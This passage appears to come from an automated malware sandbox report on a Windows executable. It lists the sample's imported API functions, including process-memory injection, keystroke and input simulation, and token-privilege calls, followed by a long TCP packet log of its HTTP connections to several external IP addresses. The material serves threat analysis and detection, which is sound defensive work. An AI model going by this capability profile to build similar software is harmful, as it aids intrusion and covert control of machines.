                                        WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
                                        PSAPI.DLLEnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
                                        USERENV.dllCreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
                                        KERNEL32.dllHeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
                                        USER32.dllGetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
                                        GDI32.dllDeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
                                        COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                        ADVAPI32.dllRegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
                                        SHELL32.dllDragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                        ole32.dllOleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
                                        OLEAUT32.dllVariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

                                        Possible Origin

                                        Language of compilation systemCountry where language is spokenMap
                                        EnglishGreat Britain
                                        EnglishUnited States

                                        Network Behavior

                                        Network Port Distribution

                                        TCP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Sep 19, 2024 15:04:17.316855907 CEST4973780192.168.2.4172.67.181.150
                                        Sep 19, 2024 15:04:17.321794987 CEST8049737172.67.181.150192.168.2.4
                                        Sep 19, 2024 15:04:17.323122025 CEST4973780192.168.2.4172.67.181.150
                                        Sep 19, 2024 15:04:17.330830097 CEST4973780192.168.2.4172.67.181.150
                                        Sep 19, 2024 15:04:17.335686922 CEST8049737172.67.181.150192.168.2.4
                                        Sep 19, 2024 15:04:17.779205084 CEST8049737172.67.181.150192.168.2.4
                                        Sep 19, 2024 15:04:17.779637098 CEST8049737172.67.181.150192.168.2.4
                                        Sep 19, 2024 15:04:17.779702902 CEST4973780192.168.2.4172.67.181.150
                                        Sep 19, 2024 15:04:17.806530952 CEST4973780192.168.2.4172.67.181.150
                                        Sep 19, 2024 15:04:17.811455011 CEST8049737172.67.181.150192.168.2.4
                                        Sep 19, 2024 15:04:33.159739017 CEST4973880192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:33.168751955 CEST80497383.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:33.168837070 CEST4973880192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:33.183208942 CEST4973880192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:33.191395998 CEST80497383.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:33.650543928 CEST80497383.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:33.650640011 CEST4973880192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:34.691668987 CEST4973880192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:34.697880983 CEST80497383.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:35.709424973 CEST4973980192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:35.716981888 CEST80497393.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:35.717091084 CEST4973980192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:35.727685928 CEST4973980192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:35.732911110 CEST80497393.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:36.221671104 CEST80497393.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:36.222265005 CEST4973980192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:37.237828970 CEST4973980192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:37.243527889 CEST80497393.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.256417036 CEST4974080192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:38.394339085 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.394483089 CEST4974080192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:38.404995918 CEST4974080192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:38.409920931 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.410078049 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.410089970 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.410100937 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.410110950 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.410120964 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.410134077 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.410155058 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.410530090 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.850208998 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:38.850272894 CEST4974080192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:39.909672022 CEST4974080192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:39.914510012 CEST80497403.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:40.955499887 CEST4974180192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:40.960671902 CEST80497413.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:40.961163998 CEST4974180192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:40.986397028 CEST4974180192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:40.991338968 CEST80497413.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:41.446540117 CEST80497413.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:41.446713924 CEST80497413.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:41.446844101 CEST4974180192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:41.449614048 CEST4974180192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:41.454592943 CEST80497413.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:46.564342976 CEST4974380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:46.569216967 CEST80497433.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:46.569314957 CEST4974380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:46.583815098 CEST4974380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:46.589301109 CEST80497433.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:47.033787966 CEST80497433.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:47.033901930 CEST4974380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:48.097117901 CEST4974380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:48.409492016 CEST4974380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:49.018908024 CEST4974380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:49.115884066 CEST4974480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:49.151814938 CEST80497433.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:49.151830912 CEST80497433.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:49.151839972 CEST80497433.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:49.151851892 CEST80497443.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:49.151897907 CEST4974380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:49.151937962 CEST4974380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:49.151979923 CEST4974480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:49.162589073 CEST4974480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:49.168124914 CEST80497443.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:49.609905958 CEST80497443.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:49.613178968 CEST4974480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:50.675421000 CEST4974480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:50.681227922 CEST80497443.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:51.694166899 CEST4974580192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:51.830121994 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:51.830274105 CEST4974580192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:51.846611977 CEST4974580192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:51.852209091 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:51.852222919 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:51.852231979 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:51.852694035 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:51.852704048 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:51.852736950 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:51.852746010 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:51.852760077 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:51.852768898 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:52.320087910 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:52.320149899 CEST4974580192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:53.362899065 CEST4974580192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:53.369018078 CEST80497453.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:54.380987883 CEST4974680192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:54.387315989 CEST80497463.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:54.387392044 CEST4974680192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:54.394433975 CEST4974680192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:54.400122881 CEST80497463.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:55.050273895 CEST80497463.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:55.050302982 CEST80497463.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:55.050312042 CEST80497463.33.130.190192.168.2.4
                                        Sep 19, 2024 15:04:55.050590038 CEST4974680192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:55.053291082 CEST4974680192.168.2.43.33.130.190
                                        Sep 19, 2024 15:04:55.058084011 CEST80497463.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:00.191149950 CEST4974780192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:00.196094036 CEST80497473.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:00.196216106 CEST4974780192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:00.207041025 CEST4974780192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:00.211891890 CEST80497473.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:00.651699066 CEST80497473.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:00.651773930 CEST4974780192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:01.722230911 CEST4974780192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:01.753890991 CEST80497473.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:02.767503977 CEST4974880192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:03.602560997 CEST80497483.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:03.602699995 CEST4974880192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:03.611510992 CEST4974880192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:03.616415024 CEST80497483.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:04.076896906 CEST80497483.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:04.077091932 CEST4974880192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:05.112730980 CEST4974880192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:05.120217085 CEST80497483.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.131504059 CEST4974980192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:06.136384010 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.136467934 CEST4974980192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:06.151710987 CEST4974980192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:06.156867027 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.156909943 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.156935930 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.156992912 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.157058001 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.157085896 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.157136917 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.157164097 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.157190084 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.599755049 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:06.599983931 CEST4974980192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:07.659849882 CEST4974980192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:07.664781094 CEST80497493.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:08.678678036 CEST4975080192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:08.683581114 CEST80497503.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:08.684334993 CEST4975080192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:08.691410065 CEST4975080192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:08.696279049 CEST80497503.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:09.151743889 CEST80497503.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:09.151767969 CEST80497503.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:09.151941061 CEST4975080192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:09.154527903 CEST4975080192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:09.159252882 CEST80497503.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:14.186291933 CEST4975180192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:14.191298962 CEST80497513.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:14.191375971 CEST4975180192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:14.210433006 CEST4975180192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:14.215298891 CEST80497513.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:15.590806007 CEST80497513.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:15.590903997 CEST4975180192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:15.722348928 CEST4975180192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:15.727277040 CEST80497513.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:16.759799004 CEST4975280192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:16.764616013 CEST80497523.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:16.764684916 CEST4975280192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:16.802388906 CEST4975280192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:16.807260036 CEST80497523.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:18.315896034 CEST4975280192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:18.321024895 CEST80497523.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:18.321074963 CEST4975280192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:19.379407883 CEST4975380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:19.904584885 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:19.904659033 CEST4975380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:19.917120934 CEST4975380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:19.922224045 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:19.922235012 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:19.922243118 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:19.922251940 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:19.922261000 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:19.922269106 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:19.922276974 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:19.922285080 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:19.922293901 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:21.331953049 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:21.332047939 CEST4975380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:21.425533056 CEST4975380192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:21.431049109 CEST80497533.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:22.490771055 CEST4975480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:22.495768070 CEST80497543.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:22.495850086 CEST4975480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:22.513636112 CEST4975480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:22.815845013 CEST4975480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:23.425199032 CEST4975480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:23.571260929 CEST80497543.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:23.571306944 CEST80497543.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:23.572796106 CEST80497543.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:23.666877985 CEST80497543.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:23.667943954 CEST80497543.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:23.668071985 CEST4975480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:23.669658899 CEST4975480192.168.2.43.33.130.190
                                        Sep 19, 2024 15:05:23.674710989 CEST80497543.33.130.190192.168.2.4
                                        Sep 19, 2024 15:05:29.301135063 CEST4975580192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:29.305995941 CEST8049755156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:29.306224108 CEST4975580192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:29.317135096 CEST4975580192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:29.322093010 CEST8049755156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:30.288676023 CEST8049755156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:30.288729906 CEST4975580192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:30.831829071 CEST4975580192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:31.145823956 CEST4975580192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:31.282108068 CEST8049755156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:31.282171011 CEST8049755156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:31.283350945 CEST4975580192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:31.850748062 CEST4975680192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:31.855802059 CEST8049756156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:31.863653898 CEST4975680192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:31.872271061 CEST4975680192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:31.879045963 CEST8049756156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:33.378626108 CEST4975680192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:33.426467896 CEST8049756156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:34.398149014 CEST4975780192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:34.404366970 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:34.404439926 CEST4975780192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:34.419470072 CEST4975780192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:34.424509048 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:34.424565077 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:34.424580097 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:34.424623966 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:34.424680948 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:34.424689054 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:34.424812078 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:34.424822092 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:34.424829960 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:35.925412893 CEST4975780192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:35.974726915 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:36.945146084 CEST4975880192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:36.950365067 CEST8049758156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:36.955172062 CEST4975880192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:36.961143970 CEST4975880192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:36.966133118 CEST8049758156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:53.227818966 CEST8049756156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:53.227942944 CEST4975680192.168.2.4156.242.132.82
